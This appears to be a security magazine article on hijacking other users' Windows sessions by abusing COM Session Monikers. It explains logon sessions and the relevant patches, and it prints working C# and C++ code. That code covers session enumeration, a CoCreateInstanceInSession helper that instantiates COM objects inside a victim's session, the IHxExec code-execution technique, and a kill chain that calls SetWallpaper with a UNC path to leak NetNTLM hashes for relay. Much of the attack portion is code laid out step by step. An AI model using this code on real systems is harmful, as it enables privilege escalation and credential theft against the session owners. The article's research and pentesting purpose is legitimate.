Hijacking COM. Abusing COM classes to hijack user sessions

Date: 03/07/2025

As you are likely aware, Windows assigns a unique session to each user logging into the system. And if somebody logs into an already hacked device, you can hijack that person’s session. This article discusses a promising privilege escalation technique: the attacker steals users’ sessions using COM classes.

Long ago, when the sky was bluer, the trees were taller, and the girls were sweeter, I published an article called Insecurity provider. How Windows leaks user passwords. It discussed in detail the user login stage: from turning the workstation on to gaining access to its desktop.

Today I am going to present another attack type: session hijacking. And to implement it, I will use COM!

Logon Sessions

Let’s start with the basics. A Logon Session (or just session) is similar to a browser cookie. The system uses it to determine which user is accessing it.

Each session has a unique number called LUID (Locally Unique IDentifier). In fact, that’s all what is required for Windows to identify a user session.

typedef struct _LUID {
ULONG LowPart;
LONG HighPart;
} LUID, *PLUID;

where:

  • LowPart contains the required numerical value; and 
  • HighPart is usually NULL.

The existing Logon Sessions can be examined using the LsaEnumerateLogonSessions() function. Let’s see how it looks in C#.

using System;
using System.Runtime.InteropServices;
using System.Security.Principal;
class Program
{
[DllImport("Secur32.dll", SetLastError = false)]
private static extern int LsaEnumerateLogonSessions(out ulong LogonSessionCount, out IntPtr LogonSessionList);
[DllImport("Secur32.dll", SetLastError = false)]
private static extern int LsaGetLogonSessionData(IntPtr LogonSession, out IntPtr ppLogonSessionData);
[DllImport("Secur32.dll")]
private static extern uint LsaFreeReturnBuffer(IntPtr buffer);
[StructLayout(LayoutKind.Sequential)]
private struct LSA_UNICODE_STRING
{
public ushort Length;
public ushort MaximumLength;
public IntPtr Buffer;
}
[StructLayout(LayoutKind.Sequential)]
private struct SECURITY_LOGON_SESSION_DATA
{
public uint Size;
public LUID LogonId;
public LSA_UNICODE_STRING UserName;
public LSA_UNICODE_STRING LogonDomain;
public LSA_UNICODE_STRING AuthenticationPackage;
public uint LogonType;
public uint Session;
public IntPtr Sid;
public long LogonTime;
}
[StructLayout(LayoutKind.Sequential)]
private struct LUID
{
public uint LowPart;
public int HighPart;
}
private static string GetString(LSA_UNICODE_STRING unicodeString)
{
return Marshal.PtrToStringUni(unicodeString.Buffer);
}
static void Main()
{
var result = LsaEnumerateLogonSessions(out var count, out var luidPtr);
if (result != 0)
{
Console.WriteLine("LsaEnumerateLogonSessions failed");
return;
}
var iter = luidPtr;
for (ulong i = 0; i < count; i++)
{
result = LsaGetLogonSessionData(iter, out var sessionDataPtr);
if (result == 0)
{
var sessionData = Marshal.PtrToStructure<SECURITY_LOGON_SESSION_DATA>(sessionDataPtr);
var userName = GetString(sessionData.UserName);
var domainName = GetString(sessionData.LogonDomain);
Console.WriteLine($"UserName: {userName}");
Console.WriteLine($"LogonDomain: {domainName}");
Console.WriteLine("---------------------------");
LsaFreeReturnBuffer(sessionDataPtr);
}
iter = IntPtr.Add(iter, Marshal.SizeOf(typeof(LUID)));
}
LsaFreeReturnBuffer(luidPtr);
}
}
Program output
Program output

In the above code, you can see a standard import of required functions with PInvoke and their subsequent calls performed in a certain order.

To get a list of sessions from a device remotely, you can use the NetSessionEnum() and NetrSessionEnum()functions. An example of their usage can be found on GitHub.

Alternatively, the netview.py tool can be used.

List of sessions obtained remotely
List of sessions obtained remotely

Finally, you can use built-in command line tools.

qwinsta
# To get this information remotely, use quser.exe
quser.exe /server:dc01.office.corp
qwinsta output
qwinsta output

There are plenty of other ways to search for target user sessions, including Invoke-UserHunter from PowerView and its numerous analogs in C#, but these tools are beyond the scope of this article. Therefore, let’s finish with reconnaissance and move on to actual hijacking.

www

For more information, see the study by Jared Atkinson, especially parts 12 and 13.

Similar to Elevation Monikers, Windows also uses Session Monikers. To remind: a moniker is a string representation of a COM object. And a session moniker can be used to instantiate a COM class in a specific session.

For example, if you have a COM class, and one of its methods enables you to execute commands, you can hijack a user’s session by instantiating this COM class inside that user’s session using a Session Moniker.

In reality, it’s not that simple since Microsoft has imposed certain restrictions (to be addressed a bit later). But first, let’s examine the Session Moniker operation principle using slides published by James Forshaw.

Initially, there are several objects.

Initial state of the system
Initial state of the system

There is a session assigned to user Alice (your session) and a session assigned to user Bob (to be hijacked). There is also the RPCSS service (Service Control Manager for COM and DCOM servers) responsible for activating COM objects.

So, you request activation of a COM object in Bob’s session.

Requesting activation
Requesting activation

This request is submitted to the RPCSS service because SCM manages the activation of COM objects. The RPCSS service sees that a Session Moniker is being used, locates Bob’s session, and creates a COM object inside it.

Activation
Activation

After the successful activation of the COM object, the client (i.e. yourself in session 1) receives a pointer to the interface of this COM object and can interact with it (e.g. call a method to execute a command).

Pointer to the interface
Pointer to the interface

To use a Session Moniker, all you have to do is prepare a string in the following format:

"Session:[digits]!clsid:[class id]"

where digits is the ID of the session where a COM class should be created identified by the CLSID value in the class id field.

Using this function, you can create COM objects in other people’s sessions.

HRESULT CoCreateInstanceInSession (DWORD session, REFCLSID rclsid , REFIID riid , void ** ppv) {
BIND_OPTS3 bo = {};
WCHAR wszCLSID [50];
WCHAR wszMonikerName [300];
StringFromGUID2 (rclsid, wszCLSID, _countof(wszCLSID));
StringCchPrintf (wszMonikerName , _countof(wszMonikerName ),
L"session:%d!new:%s" , session, wszCLSID);
bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER ;
return CoGetObject (wszMonikerName , &bo, riid, ppv);
}

If anyone could instantiate COM classes in other people’s sessions using Session Moniker, this would mean a severe security hole in Windows. Its exploitation could result in horizontal privilege escalation (vertical privilege escalation occurs in the case of an admin session).

But it’s not all that bad. In many cases, it’s impossible to instantiate a COM class in the target user’s session using Session Moniker. The target COM class must be registered to run under an interactive user. This value is specified in a separate registry key: RunAs. If the value is empty or the running user, system, or service is specified, Session Moniker won’t work. The Checker tool can be used to extract a list of all objects: it generates a report in the CSV or XLSX format. After that, all you have to do is apply a filter to the required field.

Searching for suitable objects
Searching for suitable objects

Then restrictions are imposed in the following priority. They don’t have official names (or I am not aware of them).

  1. SeDebug – if you have SeDebug, you can hijack other people’s sessions (e.g. using IHxExec);
  2. Patch fixing CVE-2024-38100 (FakePotato) – if you don’t have local admin rights, you won’t be able to instantiate interactive (the RunAs field is set to The Interactive User) COM objects inside the explorer.exe process. In fact, the developers simply fixed Access Permissions in this patch. If you don’t have such permissions for the process, you won’t be able to access COM objects running inside it. If Access Permissions for a specific AppID aren’t defined, then the default ones are used. You can use the OleViewDotNet tool to view your permissions.

    List of processes with running COM objects
    List of processes with running COM objects
    List of objects running inside a process
    List of objects running inside a process
    Default permissions for a process
    Default permissions for a process
  3. Patch fixing the COM Session Moniker EOP exploit. The capabilities of Session Monikers have been known for a long time, but their exploitation isn’t very popular. As soon as security experts started researching them, an exploit was created almost immediately: it allows you to start a certain object inside someone else’s session, which results in privilege escalation. The fix adds an integrity level check prior to accessing the object. If someone tries to access an object in someone else’s session from a process with a medium integrity level, the access is blocked.

Starting a process in someone else’s session

First, let’s test the IHxExec exploit. It enables you to run an executable file inside somebody else’s session. Its implementation in C# and PowerShell is also available on GitHub.

Both tools abuse Session Monikers to execute code. If you have local admin rights (or the SeDebug privilege), then you can execute code in other users’ sessions this way. On older systems that haven’t been updated since 2017, this trick would work even on behalf of a low-privileged user. A detailed analysis of the exploit can be found on Medium.

Technically, two undocumented COM interfaces are exploited: IStandardActivator and ISpecialSystemProperties; under normal conditions, these interfaces are accessed when Session Monikers are instantiated. The first one is required to activate objects; while the second one includes an interesting method called SetSessionId() that can be used to specify the target session where a COM object has to be started.

Exploit in action
Exploit in action

As you can see, the exploit successfully instantiates the required COM object, and you can execute an arbitrary file inside someone else’s session.

Password hash leak as a result of changing desktop wallpaper

Another exploit was released quite recently: it also abuses Session Monikers, but now the instantiated COM object makes it possible not to start a process, but to change the wallpaper. One might ask: Where is the vulnerability? But if you review the article Gone to the Dogs by Elad Shamir, you’ll see that the wallpaper change function can be used to extract the NetNTLM hash from a computer. So, I thought: what happens if an attacker instantiates an interactive COM object inside someone else’s session, then calls the wallpaper change method, and specifies the UNC Path to gain the NetNTLM hash?

This idea was nagging me for a while, but then a hint appeared on decoder.cloud, and I managed to find a suitable COM object.

Discovered object
Discovered object

The object features the IDesktopWallpaper interface and the SetWallpaper() method whose logic seemed to be suitable for my purposes.

HRESULT SetWallpaper(
[in] LPCWSTR monitorID,
[in] LPCWSTR wallpaper
);

The first argument is used to pass the ID of the monitor where a new wallpaper should be set; while the second one, to pass the path to this wallpaper. The point is: if you specify a UNC Path in the second argument, this would cause an NetNTLM hash leak. But where to get the monitor ID?

According to MSDN, the GetMonitorDevicePathAt() method can be used for this purpose. To call it, the monitorIndex parameter is required, and it can be obtained using GetMonitorDevicePathCount().

The resulting kill chain looks as follows:

  • GetMonitorDevicePathCount([out] int a);
  • GetMonitorDevicePathAt([in] a, [out] index); and 
  • SetWallpaper([in] index, [in] UNCPath).

To leak the NetNTLM hash of the target user, you have to instantiate the COM class for wallpaper management inside that user’s session. This can be done using the CoCreateInstanceInSession() function.

HRESULT CoCreateInstanceInSession(DWORD session, REFCLSID rclsid, REFIID riid, void** ppv) {
BIND_OPTS3 bo = {};
WCHAR wszCLSID[50];
WCHAR wszMonikerName[300];
StringFromGUID2(rclsid, wszCLSID, _countof(wszCLSID));
StringCchPrintf(wszMonikerName, _countof(wszMonikerName),
L"session:%d!new:%s", session, wszCLSID);
bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
return CoGetObject(wszMonikerName, &bo, riid, ppv);
}
...
IDesktopWallpaper* pDesktopWallpaper = nullptr;
hr = CoCreateInstanceInSession(session, clsidShellWindows, iidIShellWindows, (void**)&pDesktopWallpaper);
if (FAILED(hr)) {
std::wcerr << L"CoCreateInstanceInSession failed with error: " << hr << std::endl;
CoUninitialize();
return 1;
}

After the successful instantiation, you can access methods of this COM class.

UINT monitorCount;
hr = pDesktopWallpaper->GetMonitorDevicePathCount(&monitorCount);
if (FAILED(hr)) {
std::wcerr << L"GetMonitorDevicePathCount failed with error: " << hr << std::endl;
pDesktopWallpaper->Release();
CoUninitialize();
return 1;
}
for (UINT i = 0; i < monitorCount; i++) {
LPWSTR monitorId;
hr = pDesktopWallpaper->GetMonitorDevicePathAt(i, &monitorId);
if (FAILED(hr)) {
std::wcerr << L"GetMonitorDevicePathAt failed with error: " << hr << std::endl;
continue;
}
hr = pDesktopWallpaper->SetWallpaper(monitorId, imagePath);
std::wcout << L"[+] Check Responder" << std::endl;
CoTaskMemFree(monitorId);
}
Successful hash leak
Successful hash leak

After leaking the hash, you can take it a step further and deliver a relay attack. Such attacks were discussed in detail in the series of publications “Your guide to NTLM relay” (Part 1 and Part 2).

Conclusions

One again, undocumented Windows features enable hackers to deliver efficient and elegant attacks. The hardest part about it is to crystallize an abstract concept into a fully-functional exploit.

Good luck in your pentesting endeavors!

Related posts:
2022.06.02 — Climb the heap! Exploiting heap allocation problems

Some vulnerabilities originate from errors in the management of memory allocated on a heap. Exploitation of such weak spots is more complicated compared to 'regular' stack overflow; so,…

Full article →
2022.02.09 — First contact: An introduction to credit card security

I bet you have several cards issued by international payment systems (e.g. Visa or MasterCard) in your wallet. Do you know what algorithms are…

Full article →
2022.12.15 — What Challenges To Overcome with the Help of Automated e2e Testing?

This is an external third-party advertising publication. Every good developer will tell you that software development is a complex task. It's a tricky process requiring…

Full article →
2023.07.29 — Invisible device. Penetrating into a local network with an 'undetectable' hacker gadget

Unauthorized access to someone else's device can be gained not only through a USB port, but also via an Ethernet connection - after all, Ethernet sockets…

Full article →
2022.06.01 — First contact. Attacks on chip-based cards

Virtually all modern bank cards are equipped with a special chip that stores data required to make payments. This article discusses fraud techniques used…

Full article →
2022.04.04 — Elephants and their vulnerabilities. Most epic CVEs in PostgreSQL

Once a quarter, PostgreSQL publishes minor releases containing vulnerabilities. Sometimes, such bugs make it possible to make an unprivileged user a local king superuser. To fix them,…

Full article →
2023.07.07 — Evil Ethernet. BadUSB-ETH attack in detail

If you have a chance to plug a specially crafted device to a USB port of the target computer, you can completely intercept its traffic, collect cookies…

Full article →
2022.06.01 — Log4HELL! Everything you must know about Log4Shell

Up until recently, just a few people (aside from specialists) were aware of the Log4j logging utility. However, a vulnerability found in this library attracted to it…

Full article →
2022.04.04 — Fastest shot. Optimizing Blind SQL injection

Being employed with BI.ZONE, I have to exploit Blind SQL injection vulnerabilities on a regular basis. In fact, I encounter Blind-based cases even more frequently…

Full article →
2022.01.13 — Step by Step. Automating multistep attacks in Burp Suite

When you attack a web app, you sometimes have to perform a certain sequence of actions multiple times (e.g. brute-force a password or the second authentication factor, repeatedly…

Full article →